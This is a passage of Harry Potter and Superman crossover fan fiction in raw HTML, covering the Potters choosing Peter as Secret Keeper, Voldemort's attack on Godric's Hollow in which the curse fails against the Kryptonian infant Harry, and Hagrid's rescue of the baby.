become\ntoo dangerous for us, even with the actual protections, to remain in the open.\nThe last time it had been a really close call. Too close. We were lucky but you\nknow that such luck is not going to repeat itself.&#8221; </p>\n\n\n\n<p>Sirius nodded, face grim.\n&#8220;Lightning never strikes twice in the same spot.&#8221; </p>\n\n\n\n<p>James nodded. &#8220;Let&#8217;s face\nit, Padfoot, we all knew that this had been a blessing. We knew that sooner or\nlater we would have to go into hiding or face the fate of some many others...\nYou-Know-Who doesn&#8217;t forgive those that have meddled in his plans. Nor does he\nforget.&#8221;&nbsp; </p>\n\n\n\n<p>The Lost Ones, those that\nhad opposed the Dark Lord and had paid with their lives their desire to live in\npeace, to defend what was right, all what the Light represented. Many of them\nhad been friends and comrades at Hogwarts and even beyond its walls. </p>\n\n\n\n<p>Sarah and Paul McKinnon,\nboth close friends of Lily and their two daughters, Clara and Michelle who used\nto play with baby Harry... the image of their mangled, tortured bodies, found\nonly few days after that moment of happiness was still fresh in their minds,&nbsp;\ntheir home burning as the Morsmordre filled the sky. They remembered it\nas if it had been yesterday, that horror forever etched in their minds.&nbsp; </p>\n\n\n\n<p>Four names to be included\nin the thousands of deaths all around the world, claimed by Voldemort and his\nfollowers&#8217; desire to rule above all forms of life even if they had to purge the\nworld of life to achieve that mad end.</p>\n\n\n\n<p>Sirius was the first to\ncome back from their memory trip, both through the bad and good memories.</p>\n\n\n\n<p>&#8220;We all know that the dark\nbastard would drown the world in blood to have it,&#8221; his voice was hard and cold\nbut James and Lily could feel the cold fury hidden behind the words. &#8220;I swear\nthat monster is going to pay someday...&#8221;</p>\n\n\n\n<p>James nodded. </p>\n\n\n\n<p>That was a feeling that he\ncould understand perfectly. Voldemort wanted his son more\nthan anything else in the world, but that wasn&#8217;t going to happen as long as he\nbreathed air. It did not matter if Harry wasn&#8217;t really his. It mattered not\nthat he wasn&#8217;t human. Those concepts had no real meaning in his mind. He loved\nhim as if he was his own flesh and blood since the first time he saw him\nresting within the loving comfort of Lily&#8217;s arms. </p>\n\n\n\n<p>And if Dumbledore was\nright, if the key to defeat the Dark Lord was really within his son he would\ngive his life before harm touched even a single strand of his raven dark hair.</p>\n\n\n\n<p>But that wasn&#8217;t it</p>\n\n\n\n<p>Sometimes the sheer\nintensity of the feelings he had for his &#8220;son&#8221; left him winded, almost afraid,\nas if he couldn&#8217;t understand how he could love someone as much as he loved\nLily. But it was enough looking at them both, at his family to understand why,\neven if it was in an abstracted fashion. </p>\n\n\n\n<p>James sighed. He would\nsacrifice his life if needed. He knew it, as he knew that he loved Lily and\nHarry, but he also knew that it would be in vain, a fool&#8217;s hope to stop someone\n&#8211;something- that&nbsp; could not be stopped. </p>\n\n\n\n<p>He wasn&#8217;t powerful enough.\n</p>\n\n\n\n<p>No one was except\nDumbledore and, if the situation presented itself, he knew that the old wizard\nwouldn&#8217;t be there to protect what he loved the most. </p>\n\n\n\n<p>He spoke aloud, putting\nhis fears into words &#8220;If things continue this way he will find us.&#8221; </p>\n\n\n\n<p>Sirius&#8217;s eyes narrowed,\nhis mind quickly catching on with his best friend&#8217;s. &#8220;That will not happen. If\nI know Dumbledore he must have some crazy plan up in his sleeve. Am I right?&#8221;</p>\n\n\n\n<p>James nodded, drawing\ncomfort from Lily&#8217;s silent presence. &#8220;Yes. He proposes that we use the Fidelius charm.&#8221;</p>\n\n\n\n<p>Sirius nodded. That was\ncommon practice in those dark times, but it had the downside of putting the secretkeeper\nin danger if this one was known... and as things were no secret was kept from\nthe dark for a long time, not with a being like Voldemort tracking you. &#8220;That&#8217;s\na good plan, the best option really. Where is the problem? It can&#8217;t be the\ncharm itself. It may be complicated but with someone as Dumbledore helping...&#8221;&nbsp;\n</p>\n\n\n\n<p>Lily nodded. &#8220;That isn&#8217;t\nthe problem. Dumbledore offered to be our secret keeper but we feel that there\nis already so many things that he is doing that adding this to his burden would\nbe too much.&#8221;</p>\n\n\n\n<p>James continued. &#8220;We can&#8217;t\nask or even allow Albus to take this burden too... Merlin&nbsp; knows that\nYou-Know-Who would have won a long time ago if it wasn&#8217;t for Albus. Between his\nwork at Hogwarts, leading the order, coordinating the efforts of half the\nministries around the world and a dozen other things... he may be the most\npowerful wizard in the world, he may be the only wizard You-Know-Who fears, he\nmay be the wisest wizard since Merlin but one thing Dumbledore isn&#8217;t is young.&#8221;\n</p>\n\n\n\n<p>Sirius chuckled, clearly\namused. &#8220;Right... but I&#8217;m sure that he will outlive us all, Prongs.&#8221; </p>\n\n\n\n<p>James allowed himself to\nsmile slightly. &#8220;Maybe. But the point is we can&#8217;t ask him to also be our secret\nkeeper. Even if all we said about him wasn&#8217;t true he has done too much for us\nto ask him anything else.&#8221;&nbsp;&nbsp; </p>\n\n\n\n<p>Sirius frowned. He didn&#8217;t\nlike it but his friends had made a good point about Dumbledore. He also knew\nenough about the eccentric Hogwarts headmaster to know that he wouldn&#8217;t try to\nchange James and Lily&#8217;s decision... even if he thought it to be unwise.</p>\n\n\n\n<p>James looked at Lily a\nmoment before looking back at Sirius. He had never seen such seriousness in his\nfriend&#8217;s brown eyes. He knew that what came next would be deathly important.\n&#8220;Lily and I, after thinking about it would like you to be our secret keeper.&#8221;</p>\n\n\n\n<p>&#8220;What?&#8221;</p>\n\n\n\n<p>But James continued, not\nrelenting, paying no heed to his friend&#8217;s surprised outburst. &#8220;If you don&#8217;t\nthen we will ask Remus. We couldn&#8217;t decide who to ask... you two are our\nclosest friends, our family... both Lily and I would trust you with our lives\nbut we also know that it would put you in great danger.&#8221;</p>\n\n\n\n<p>&#8220;Whoa, whoa, James, boy,\nslow down.&#8221; Once he was sure he had their undivided attention he resumed. &#8220;You\nknow that I wouldn&#8217;t refuse you anything... but what are you not saying to me?&#8221;</p>\n\n\n\n<p>James&#8217; eyes narrowed.\n&#8220;What are you talking about?&#8221; Sirius smiled slightly teasingly. &#8220;I know you and\nI know the way you think. Ditto for you Lils. If I was to guess I would say\nthat something is going on with old Moony. If not why call me and not him too?&#8221;\n</p>\n\n\n\n<p>James swallowed and his\nhand closed more tightly around Lily&#8217;s. In a broken voice he spoke and his\nwords shook Sirius to the core. &#8220;For some time both Dumbledore and the ministry\nhave believed that someone near us is feeding information to the Death Eaters,\nworking as a double agent for the Dark Lord. Some of the Ministry&#8217;s\nintelligence corps believe that Remus is working for You-Know-Who.</p>\n\n\n\n<p>&#8220;James, that&#8217;s bull! Remus\nwould never betray us!&#8221; </p>\n\n\n\n<p>James&#8217; eyes glowed for a\nmoment, his anger clear. &#8220;Don&#8217;t you think that I know it? Don&#8217;t you think that\nI was ready to hex the first person that said such a thing?&#8221; </p>\n\n\n\n<p>Lily&#8217;s tone was as harsh\nas James&#8217;. &#8220;And you know why he didn&#8217;t Apparate in the Ministry and blast the\none who said it into next week? Because he was restraining me! I will believe\nthat Remus is the betrayer the day the Dark Mark is branded in my skin - as if\nthat is going to happen!&#8221; </p>\n\n\n\n<p>Sirius rubbed his temple.\nWhat he had just heard wasn&#8217;t possible. Remus Lupin, a Death Eater? That would be the day Voldemort decided to work for global\npeace and use pink robes with fluffy lace as his uniform. &#8220;What does Dumbledore\nthink about this? I know you must have asked him about that...&#8221; </p>\n\n\n\n<p>James and Lily relaxed as\none, but still seemed unhappy about the whole deal. Lily spoke this time, her\nvoice tainted with slight bitterness. &#8220;He believes in Remus too, but while he\ndoesn&#8217;t like to, he reminds us that he is a werewolf, so he is ultimately a\ndark creature.&#8221; </p>\n\n\n\n<p>James nodded, his eyes\nboiling with badly repressed anger. At what, Sirius could only guess. &#8220;To make\nthings worst, reports have reached him through his spy net that some of the\nwizards working for You-Know-Who have found a way to control all kind of dark\ncreatures...Werewolves lose their will once a month. They will be directly\nunder his control on that night.&#8221;</p>\n\n\n\n<p>&#8220;That sucks.&#8221;</p>\n\n\n\n<p>Sighing, James spoke, eyes\nclosed. &#8220;It&#8217;s too mild a way to speak of it Sirius. We can&#8217;t do anything about\nthat and Dumbledore himself can&#8217;t do anything about that. So there you have it,\nwe can&#8217;t trust Remus... something that I wish never happened.&#8221;</p>\n\n\n\n<p>Sirius nodded, his face\nshowing the sadness he felt. &#8220;I know that... I mean, I never believed that\nsomething like that would happen one day. I would never doubt you two, or Remus\nor even Peter. It would be like not trusting my family...&#8221; </p>\n\n\n\n<p>&#8220;We know,&#8221; said Lily.\n&#8220;It&#8217;s something that no one should go through but it&#8217;s how things are. Still as\nmuch as we refuse to think of Remus as a... traitor, I will never risk Harry&#8217;s\nlife.&#8221; she looked away from Sirius&#8217; dark chocolate brown eyes. &#8220;Sirius... what\nwe didn&#8217;t tell you but I think you deserve to know is...&#8221;</p>\n\n\n\n<p>&#8220;Sirius,&#8221; continued James.\n&#8220;The dark Lord is not after us, but after Harry.&#8221;</p>\n\n\n\n<p>Sirius&#8217; eyes widened.\n&#8220;What? But...&#8221;</p>\n\n\n\n<p>&#8220;Please, Sirius, don&#8217;t ask\nus why that is so, but trust us. The Dark Lord wants Harry, not Lily or me. We\nare but the bonus should he discover our whereabouts... Harry must be protected\nuntil he is old enough... at all costs, even if the price is our lives.&#8221;</p>\n\n\n\n<p>&#8220;Now James,&#8221; Sirius&#8217; voice\nhad a steely edge to it. &#8220;You know that I love Harry like if he was my own son\nbut never say that again. Don&#8217;t even joke about that. Harry will live until he\nis old and toothless if I have anything to say, but *never* ask me to choose\nhim over you and Lily.&#8221;</p>\n\n\n\n<p>James&#8217; eyes flashed, his\nfree hand turning into a fist. &#8220;Damn it, Sirius! He is our son! If we have to\ngive our lives to ensure that he will live then we will do so! And if you&#8217;re my\nfriend &#8211; my brother - then you will do as I ask you to\ndo!&#8221; </p>\n\n\n\n<p>&#8220;That was low, James.&#8221;\nSirius said in a quiet voice.&nbsp; </p>\n\n\n\n<p>That seemed to calm James\nsomewhat. &#8220;I know. But I didn&#8217;t say it to hurt you but to make you understand\nhow things are, what Lily and I feel. We want you to be prepared for the worst,\nSirius, for your own good as much as ours.&#8221;</p>\n\n\n\n<p>Sirius sighed deeply. &#8220;All\nright, I got it... but that doesn&#8217;t mean that I have to like it.&#8221;</p>\n\n\n\n<p>Gently, Lily looked at\nSirius and once again, as many others, he was left breathless by the life one\ncould find in those emerald like eyes. &#8220;We know that, Sirius, and that&#8217;s why we\nwant to ask you to be our secret keeper.&#8221;</p>\n\n\n\n<p>For a moment Sirius\nremained silent, pondering... until he spoke.</p>\n\n\n\n<p>&#8220;Who knows that I&#8217;m going\nto be your secret keeper? Does anybody know yet?&#8221; </p>\n\n\n\n<p>Relief in their faces, the\ncouple looked at each other before James answered his best friend. &#8220;No one but\nDumbledore...&#8221; He frowned. &#8220;But it will be known in the ministry - that I&#8217;m\nsure of.&#8221;</p>\n\n\n\n<p>Sirius nodded. &#8220;Good. The\nmore people know, the better it will be.&#8221;</p>\n\n\n\n<p>Blinking in confusion,\nLily and James exchanged concerned looks.</p>\n\n\n\n<p>&#8220;What do you mean?&#8221; Lily\nasked.</p>\n\n\n\n<p>Sirius gave them a half\nsmile. &#8220;As we mentioned before, James, the information will leak somehow,\nmaking easier for You-Know-Who or one of his spies to learn about the Fidelius. That&#8217;s what I want. We make everybody, even Dumbledore, to\nbelieve that I&#8217;m the secret keeper. That will make You-Know-Who&#8217;s attention\nshift to me, thus hiding the true secret keeper, making you impossible to\nfind.&#8221;</p>\n\n\n\n<p>James almost jumped from\nhis seat, whole body tensed in rebellion only restrained by Lily&#8217;s hand on him.\n&#8220;No, Sirius, that would be too dangerous! I will not allow you to sacrifice\nyour life in such a way...&#8221;</p>\n\n\n\n<p>&#8220;Look, James, the cold\nfact is that whether I&#8217;m the secret keeper or not I&#8217;m also on You-Know-Who&#8217;s\nlist. I&#8217;m also hunted by the Dark Side... a dead man walking. Me being the\nsecret keeper or not being will change nothing but it will buy you time. For\nyou, Lily, and Harry. Even if in the end I get but days before the truth is out\nit will be worth it.&#8221;</p>\n\n\n\n<p>&#8220;I don&#8217;t like it,\nSirius...&#8221; James spat.</p>\n\n\n\n<p>Sirius nodded. &#8220;Maybe. But\nyou don&#8217;t have to like it... you only have to go along with my plan.&#8221;</p>\n\n\n\n<p>&#8220;Oh? And who will be the\nSecretkeeper, wise arse? Got that covered too?&#8221;</p>\n\n\n\n<p>Sirius smiled thinly. &#8220;Oh\nyeah... in fact it will be the one person that no one would ever suspect.\nPeter.&#8221;</p>\n\n\n\n<p>James&#8217; eyes widened in\ndisbelief. &#8220;Peter? You have got to kidding me!&#8221;</p>\n\n\n\n<p>&#8220;Not in the slightest. I&#8217;m\ndead serious here, James. Peter adores you both and no one would think that he\nwould be your secret keeper, there are too many more powerful wizards who would\nbe asked instead. That will make Peter pretty invisible. He would be the\nperfect man for that.&#8221;</p>\n\n\n\n<p>&#8220;I still think that a bludger\nhit your head too many times. There is no way I am going to agree to this.\nPeter may have been a Marauder; he may have kept Remus&#8217; secret; All three of us\nmay have been Animagi, but I don&#8217;t trust him with this.&#8221; </p>\n\n\n\n<p>Sirius looked at Lily and\ncould see that his idea had interested her. She nodded as he sent a silent plea\nto her.&nbsp; </p>\n\n\n\n<p>&#8220;But don&#8217;t you see it,\nJames?&#8221; she said, drawing her husband&#8217;s attention away from his friend.\n&#8220;Precisely because you wouldn&#8217;t choose him is what would make Peter such a good\nsecret keeper. Think about it. Sirius is too obvious and we know that we can&#8217;t\ntrust Remus. Why don&#8217;t you trust Peter? He&#8217;s our friend, a part of the family.&#8221;\n</p>\n\n\n\n<p>James remained silent, his\nbrown eyes gleaming, dark by his emotions. Both Lily and Sirius knew that his\nmind was in a storm, thinking and rethinking, battling with his emotions,\nweighting each possibility in the coldest mind he could achieve even with his\nblood pounding in his ears and heart.</p>\n\n\n\n<p>Finally he sighed, lying\nback against his chair. &#8220;Very well. You win. I don&#8217;t even know why I bother. I\ncan&#8217;t refuse anything you ask me when it&#8217;s the two of you. And when you make\nsense of course... we will owl Peter first thing in the morning.&#8221;&nbsp; </p>\n\n\n\n<p>What he didn&#8217;t say was\nthat something hadn&#8217;t felt right, that when Sirius proposed Peter as their\nsecret keeper his heart had stopped for a moment, frozen in dread... and that\nfeeling of disaster looming above them did nothing to help.</p>\n\n\n\n<p>And still he couldn&#8217;t find\nfault in their reasoning, for all they said made sense... The plan despite its\nsimplicity was a good one and after the horrible possibility of Voldemort\ncontrolling Remus even against his will, the rush of distrust against Peter was\ndisturbing, so unlike his usual feelings towards the little man.</p>\n\n\n\n<p>So he surrendered putting\naside his fears that he hoped were unfounded. They would do as they he said, owling\nPeter as soon as possible. Right now James only wanted to go and hold Harry in\nhis arms, as strongly as he could, feeling his paradise with him in his arms\nand Lily by his side.</p>\n\n\n\n<p>As long as he could.</p>\n\n\n\n<p>As long as the world\noutside his house allowed it. &nbsp;</p>\n\n\n\n<p>What no one could know,\nwhat wouldn&#8217;t be known until it was too late, was that they had already been\nbetrayed. </p>\n\n\n\n<p>And that betrayal would\nshatter James&#8217; paradise.</p>\n\n\n\n\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>She landed softly, her\ndeath soundless. </p>\n\n\n\n<p>No cry of pain, nothing.</p>\n\n\n\n<p>From her now lifeless eyes\ntears still streamed even as the one-year-old boy pushed her with his little\narms, searching for some comforting sign from that source of warmth and the\nlove and comfort she usually offered. His mind, still young, had to realize\nwhat had happened but that was impossible for now. He would understand it years\nlater and then he would realize that what happened was evil, wasn&#8217;t meant to\nbe, that it was something that should have been prevented.</p>\n\n\n\n<p>But as for now the mind\ncouldn&#8217;t name it, couldn&#8217;t pinpoint what was wrong with his mother but his\ninstinct was screaming that something had gone awry, that something really bad\nhad happened.</p>\n\n\n\n<p>And the tall man in dark\nrobes was the source of that wrong.</p>\n\n\n\n<p>His young mind was still\nfree of the concepts of good or evil but it could, in an abstract fashion,\nrecognize that figure as something that had taken from him something needed,\nsomething... something that he had already lost before... something that the\nmind knew was now lost forever. It determined that it was angry at that figure,\nat the source of that sense of wrong. </p>\n\n\n\n<p>Very angry. </p>\n\n\n\n<p>As that was happening in\nthe mind of one Harry Potter Voldemort admired the scene in front of him.</p>\n\n\n\n<p>Potter was dead, something\nthat wasn&#8217;t that important - one more death that would show the futility of\nopposing him and his might. It would make people realize that no one was safe\nfrom him, not even under the protection of that fool Dumbledore. The Potters&#8217;\ndeath would be a mighty blow against the hopes of the wizarding world and that\nwould but hasten the day of his victory.</p>\n\n\n\n<p>The girl, that mudblood\nwas of little importance, her death was but one out of thousands. One of\nthousands. Her death at this point was nothing he cared about, something that\nto him was now as natural as breath yet those that believed that Lord Voldemort\nkilled thoughtlessly were wrong.</p>\n\n\n\n<p>Death was final.\nDeliverance from the suffering he alone was allowed to impart. He preferred to\nsee his enemies wither away under the Cruciatus curse than a relatively painless\ndeath caused by the Avada Kedavra. Where was the point of showing\nkindness to his enemies when he wanted them to suffer beyond the limits of\ntheir bodies, beyond the limits of the mind to keep itself whole?&nbsp;&nbsp; </p>\n\n\n\n<p>He would have preferred to\nhave her living, knowing that her husband&#8217;s sacrifice had been a waste with her\nliving on as the main witness of the way he transformed an innocent child - her\nson - into a mindless weapon. He would have preferred that torment than ending\nher life.&nbsp; </p>\n\n\n\n<p>And yet, with a glance he\nhad known that she would have never released her son, her love preventing it.\nShe would have never let her son go, not even under the Imperius curse or any other form of torture. That would have been\nbut a loss of time. </p>\n\n\n\n<p>Of his precious time.</p>\n\n\n\n<p>Voldemort snorted,\nsomething that he *never* did in front of his followers. </p>\n\n\n\n<p>The woman, even in her\ndeath, refused to let go of her son.</p>\n\n\n\n<p>With a kick he shoved her\nbody away and even if there wasn&#8217;t much strength behind the movement, it was\nenough to make her turn, making her lifeless eyes look at the roof of the room,\nher arms sprawled, her body in a position like that of a cross.</p>\n\n\n\n<p>The baby&#8217;s hand lost\ncontact with his mother&#8217;s and slowly, silently the infant&#8217;s head rose until his\nwide blue eyes locked with Voldemort&#8217;s green ones.</p>\n\n\n\n<p>The older man, a being who\nwas feared all throughout the world, a being whose name people not even dared\nto say, stepped back under the force of that stare, suddenly feeling something\nthat he had almost forgotten, something that he believed to be beyond since a\nlong time.</p>\n\n\n\n<p>Fear.</p>\n\n\n\n<p>Pure, unadulterated fear.</p>\n\n\n\n<p>Up to that point he had\nplanned to take the boy and discover what was so important about him. He knew\nthat the boy was special. He knew that Dumbledore&#8217;s efforts were more for\nprotecting that boy than the parents themselves. He knew that the boy was a key\nto powers untold; that only his mind could find a way to utilize them to their\nfull potential; a potential that he would use to his gain.</p>\n\n\n\n<p>Up to that point he had\nbelieved that he could tame those powers, that he could use them to reach\nsovereignty in the world. He would have distilled that power for himself or had\nthe boy turned into one of his followers, raising him, brainwashing him to have\nonly him, Voldemort, as master and lord... turned him into a perfect, mindless\nDead Eater as his own followers were doing with their sons and daughters.</p>\n\n\n\n<p>But those deep blue eyes\nheld a totally different message.</p>\n\n\n\n<p>Hate.</p>\n\n\n\n<p>Hate burned into them, or\nat least what passed as hate in a seemingly one-year-old boy. That and\nsomething that Voldemort couldn&#8217;t name but could understand perfectly. It was a\nfeeling of challenge, a taunt to him, a way the boy had to tell him that he\nwould never serve him, at least not willingly. A feeling that was mocking him,\ntelling him that he would never tame him no matter how hard he tried.</p>\n\n\n\n<p>Voldemort soon had a grip\non himself again, his ego giving him the boost he needed to crush down the\nfeeling of fear that had been born in his dark heart. Muttering, he looked at\nthe boy who hadn&#8217;t made a sound, not even when he killed his mother. </p>\n\n\n\n<p>&#8220;So this is what you feel\nwhen you have a mortal enemy..&#8221; he mumbled silently.</p>\n\n\n\n<p>But as much as the boy was\nhis enemy, as much as he felt that this toddler was a danger to him, the boy\nwas defenseless.</p>\n\n\n\n<p>Stealthily, he pointed his\nwand towards the boy, aiming at his head as he summoned his full power, the\ndarkness in the house becoming alive. The tip of his black wand glowed emerald\ngreen and kept growing until Voldemort, the Dark Lord, the most feared wizard\nin a century shouted two words that meant immediate death.</p>\n\n\n\n<p>&#8220;Avada Kedavra!&#8221;</p>\n\n\n\n<p>That was a mistake that Voldemort\nwould learn to regret in the years to come because with those two words he lost\nit all.</p>\n\n\n\n<p>Green light blasted from\nthe wand and connected with the boy&#8217;s forehead but instead of killing the boy\nupon contact as was normal, the skin split open with a loud &#8220;crack&#8221;, blood\nflowing freely even as a chain reaction started building with explosive\nresults.</p>\n\n\n\n<p>The Avada Kedavra, also\nknown as the Killing Curse, was a terrible weapon, rightly feared by the magic\ncommunity world wide. It killed upon contact and so far no counter curse had\nbeen found. It mattered little if the victim was human or animal, Muggle or magical.\nTo the ones hearing those two words it was the end of the road, their bodies\nnot showing any mark but empty eyes, where all light of life had been snuffed\nout.</p>\n\n\n\n<p>Still as powerful as this\ncurse was it had never encountered anything like what it was trying to kill.</p>\n\n\n\n<p>Harry Potter, Kal-el of\nthe now gone planet of Krypton, was far beyond humanity even in the early\nlevels of his maturation and the curse, had it some sort of intelligence, would\nhave been driven insane as it fought something that in all its centuries of\nexistence it had never encountered. </p>\n\n\n\n<p>Not only the physiology of\nthe Kryptonian was totally alien to the forces at work in the casting of the\ncurse but that wasn&#8217;t the only thing at work to prevent the destruction of the\nlife of the last member of an almost extinct race.</p>\n\n\n\n<p>Kal-el had been bathed in\nthe radiation of the yellow sun as soon as he had entered our solar system and,\neven with the magic at work that regressed him to allow Lily to carry him, he\nhad continued to store the energy that one day would make him something almost\ngod-like.</p>\n\n\n\n<p>And if that wasn&#8217;t enough\nthere were other forces even more powerful than Harry&#8217;s that were protecting\nhim.</p>\n\n\n\n<p>In years to come Harry\nwould believe that it was Lily&#8217;s love that had shielded him from the Dark Lord&#8217;s\ncurse that fateful night and it was true... </p>\n\n\n\n<p>But it wasn&#8217;t the *whole*\ntruth.&nbsp; </p>\n\n\n\n<p>What Harry wouldn&#8217;t\ndiscover until a long time later was that his true parents, his Kryptonian\nparents, Jor-el and Lara, had also loved him; loved him enough to save him from\na dying planet; loved him enough to give him a chance to have a future even if\nthey would not live to see it. That love that was already within Harry had been\njoined by Lily&#8217;s. </p>\n\n\n\n<p>Against all that, the\ncurse didn&#8217;t stand a chance in fulfilling its original purpose. But such a\npowerful spell would leave some aftereffects that would shape Harry&#8217;s life in\nthe years to come. </p>\n\n\n\n<p>Even as it was rejected,\nthe curse was sent back towards its caster who had been watching with growing\nfear how the boy&#8217;s little body glowed bright green for a moment when the curse\ntouched him. Then a bolt of emerald energy shoot from the boy&#8217;s bleeding scar\nto impact against him, searing pain shooting through his chest, where the\nreflected curse hit him.</p>\n\n\n\n<p>Voldemort could feel the curse\ncutting through the threads that held him connected with his own body, he could\nfeel how life was slowly stripped from him, how he started to lose the\nconnection to the mortal plane and he could feel how for a timeless moment he\nwas connected to the boy, but even that came to an end as his body&#8217;s life force\nwaned, even as a pain even worse than the Cruciatus overcame him.&nbsp; </p>\n\n\n\n<p>Anyone else would have\ndied or turned crazy by the sheer suffering that was rending asunder his body\nand soul but Voldemort had his own dark magic trying to fight back the power of\nhis Avada Kedavra along with a willpower made of tempered steel, a will that\nhad plunged the world into shadows for more than a full decade</p>\n\n\n\n<p>For years he had searched\nall around the world for a mean to defeat death itself and, even if he hadn&#8217;t\nfound the way to achieve that much, he had enough knowledge extracted from his\nexperiments to prevent death from taking him totally.</p>\n\n\n\n<p>He sunk to his knees and\nhis body was consumed to ashes, as the world around him and the boy started to\nshake due to the power being unleashed from his decaying body. He could feel\nhis sprit escape from death&#8217;s cold fingers, his drive to survive this struggle\nmore powerful than even the pull he was feeling in his spirit&#8217;s core, in the\ndeepest depths of his dark soul.</p>\n\n\n\n<p>The last thing he was\naware of before the house exploded and he was propelled away by his own magical\npower unleashed was the baby screaming in pain and his eyes following him as he\nfled. Once again he was able to admire those eyes and he knew that one day they\nwould face each other again... and when the&nbsp; time came he had all intentions of\ngetting his revenge.</p>\n\n\n\n<p>It was but a matter of\ntime really.</p>\n\n\n\n<p>Still those two eyes,\nthose two eyes which now shone like gleaming emeralds due to the Avada Kedavra, promised him the same thing.</p>\n\n\n\n<p>The house crashed around\nthem and only darkness reigned around them.</p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>The wailing of a baby was\nwhat directed the big man through the rubble of the Potter house at Godric&#8217;s\nhollow. </p>\n\n\n\n<p>All around him was\nblackened, wood turned to charcoal, still flaming. A scene of despair and the\nman could feel the tears falling from his eyes into his beard. He would have\ndropped to his knees and joined the wailing if it wasn&#8217;t because he had a\nmission to fulfil. Rubeus Hagrid, Keeper of Keys and gamekeeper at Hogwarts,\npreferred kissing a Dementor before failing a task given to him by the school&#8217;s\nheadmaster.</p>\n\n\n\n<p>The cry was coming from a\nsection of the house that had collapsed, bearing the same signs of destruction\nas the rest of the house. With barely any effort the giant lifted the piece of\nthe house only to take a step back at the scene in front of him, more tears\nfalling from his eyes as he felt his heart break.</p>\n\n\n\n<p>There, lying unmoving, was\nthe body of Lily Potter. The unique vibrancy that had set her apart was gone as\nher empty eyes looked at the starry sky without really seeing anything. That\nwas enough to bring forth another round of tears to Hagrid&#8217;s dark eyes. The\nsight of Lily&#8217;s body was almost a joke to him, a sick joke that seemed to mock\nthe young girl who had always been so full of life, with a desire to enjoy it\nto its fullest.</p>\n\n\n\n<p>Slowly, as if to not\ndisturb her, Hagrid&#8217;s big fingers reached Lily&#8217;s eyes and with a gentleness\nthat belied his size closed her eyes. Like that she seemed to be only asleep,\nno mark marring her beauty and even between his tears, Hagrid almost had the\nimpression that she was smiling lightly.</p>\n\n\n\n<p>Passing his hands roughly\nupon his face to wipe away his tears, Hagrid turned to look at Harry. </p>\n\n\n\n<p>The boy had stopped crying\nonce he saw Hagrid tend to his mother and was looking at him, his eyes wide. </p>\n\n\n\n<p>It wasn&#8217;t the first time\nthat Hagrid had seen the boy but he couldn&#8217;t help but inhale sharply as he took\nin for the first time the boy&#8217;s face.</p>\n\n\n\n<p>Gone were his deep blue\neyes and now they seemed to be a set of gleaming emeralds, identical to his\nmother&#8217;s in an uncanny way that Hagrid found disconcerting.</p>\n\n\n\n<p>But it was the wound on\nthe boy&#8217;s forehead that demanded all his attention, despite the fact that it\nwas covered with what could only be blood.</p>\n\n\n\n<p>From one of his numerous\npockets, Hagrid produced a grubby handkerchief and tenderly washed away the\ndried substance from the boy&#8217;s face leaving the forming scar free. </p>\n\n\n\n<p>As a being who was\npart-giant as well as wizard, Hagrid recognized things that most wizards\ngenerally overlook and right now one of those was the power that was leaking\nfrom the strange scar, not unlike the blood that had flown from it before. The\nmagical energy had a clear dark signature that was fading but that Hagrid found\nrather disturbing as he *knew* what had produced that wound... and if that was\ntrue then it was impossible that the young boy remained alive.&nbsp; </p>\n\n\n\n<p>And yet... </p>\n\n\n\n<p>Shaking his head, Hagrid\nproduced a clean blanket and with the same care as he had closed the eyes of\nthe infant&#8217;s mother wrapped it around the small baby. The boy looked up at him\nwith those now green eyes, those eyes that seemed to hold something that was\nolder than his young frame, eyes that seemed to ask him what would come next.</p>\n\n\n\n<p>Hagrid sighed as new tears\nthreatened to fall from his eyes.</p>\n\n\n\n<p>&#8220;All will be fine, lad...\nall will be fine...I swear... all will be fine...&#8221;</p>\n\n\n\n<p>And under the darkness of\nthe night the scar glowed, it too promising something.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p>Something ominous. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p>&nbsp;&nbsp; </p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 